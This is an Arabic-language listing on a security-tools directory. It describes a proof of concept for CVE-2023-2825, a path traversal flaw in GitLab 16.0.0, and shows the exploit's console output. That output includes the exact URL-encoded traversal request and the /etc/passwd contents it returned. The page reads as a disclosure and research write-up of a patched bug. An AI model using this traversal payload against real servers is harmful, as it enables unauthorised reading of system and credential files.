Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. يستغل هذا الـ PoC ثغرة اجتياز المسار (path traversal) لاسترداد ملف /etc/passwd من نظام يعمل بإصدار GitLab 16.0.0. | Kitploit
أدوات/GitHubGitHub/occamsec/cve-2023-2825
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالفريق الأحمر
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. يستغل هذا الـ PoC ثغرة اجتياز المسار (path traversal) لاسترداد ملف /etc/passwd من نظام يعمل بإصدار GitLab 16.0.0.

عرض المستودع
14031منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2023-2825 - قراءة ملفات تعسفية عبر تجاوز المسار في GitLab CE/EE 16.0.0

في 23 مايو 2023، أصدرت GitLab الإصدار 16.0.1 الذي أصلح ثغرة أمنية حرجة، CVE-2023-2825، والتي كانت تؤثر على الإصدار 16.0.0 من الإصدار المجتمعي (CE) والإصدار المؤسسي (EE). تسمح هذه الثغرة للمستخدمين غير المصادق عليهم بقراءة ملفات تعسفية عبر ثغرة تجاوز المسار. تم اكتشافها بواسطة pwnie على HackerOne من خلال برنامج مكافآت الثغرات الأمنية.

في وقت كتابة هذا التقرير، لم يكن هناك أي إثبات مفهوم (PoC) عام متاح.

إشعار GitLab

يمكن لمستخدم خبيث غير مصادق عليه استخدام ثغرة تجاوز المسار لقراءة ملفات تعسفية على الخادم عندما يوجد مرفق في مشروع عام متداخل ضمن خمس مجموعات على الأقل. هذه مشكلة ذات خطورة حرجة (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

المجموعات الفرعية

تتطلب هذه الثغرة شرطًا مثيرًا للاهتمام حيث يجب أن يكون المشروع متداخلًا في 5 مجموعات على الأقل. في اختباراتنا، وجدنا ارتباطًا مباشرًا بين عدد المجموعات وعدد الدلائل التي يمكنك تجاوزها. يبدو أن القاعدة هي N + 1، أي إذا كنت تريد تجاوز 10 دلائل، فأنت بحاجة إلى 11 مجموعة.

في تثبيت GitLab القياسي، يتم رفع الملفات المرفقة إلى /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. لذا إذا أردت الوصول إلى جذر نظام الملفات، يجب عليك الرجوع 10 دلائل، وبالتالي تحتاج إلى 11 مجموعة.

رفع الملفات وتجاوز المسار

عند رفع ملف كمرفق في إحدى قضايا GitLab، يتم إرسال طلب إلى POST - /:repo/upload. يقوم هذا بإرجاع استجابة JSON تحتوي على رابط الملف، مما يسمح لك بالوصول إلى الملف.

يتكون رابط الملف من /:repo/uploads/:id/:file حيث :file هو اسم الملف نفسه. استبدال :file بأي مسار ملف سيؤدي إلى قيام GitLab بإرجاع الملف المطلوب. يفشل GitLab في تعقيم مسار الملف، مما يؤدي إلى تجاوز المسار.

للاستغلال الناجح لهذه الثغرة، يجب عليك ترميز / في مسار الملف باستخدام URL encoding. سيقرأ GitLab هذا كقيمة ويقوم بفك ترميزه داخليًا. عدم ترميزه سيؤدي إلى تفسير GitLab للرمز / في مسار الملف كجزء من المسار.

في اختباراتنا، كان ترميز / فقط كافيًا لتجاوز أخطاء مسار Nginx.

المصادقة

لا يمكن للمستخدمين غير المصادق عليهم استغلال هذه الثغرة إلا على المستودعات العامة التي تستوفي متطلبات المجموعات المتداخلة. المصادقة مطلوبة للوصول إلى المستودع نفسه.

إثبات المفهوم

قمنا بتطوير إثبات المفهوم بلغة Python. يقوم البرنامج بإنشاء 11 مجموعة، وينشئ مستودعًا عامًا، ويرفع ملفًا، ثم يستغل الثغرة للحصول على ملف /etc/passwd.

المخرجات

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

الإجراءات الموصى بها

توصي GitLab بترقية جميع الإصدارات المتأثرة بهذه المشكلة في أقرب وقت ممكن.

المراجع

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

تنزيل الأداة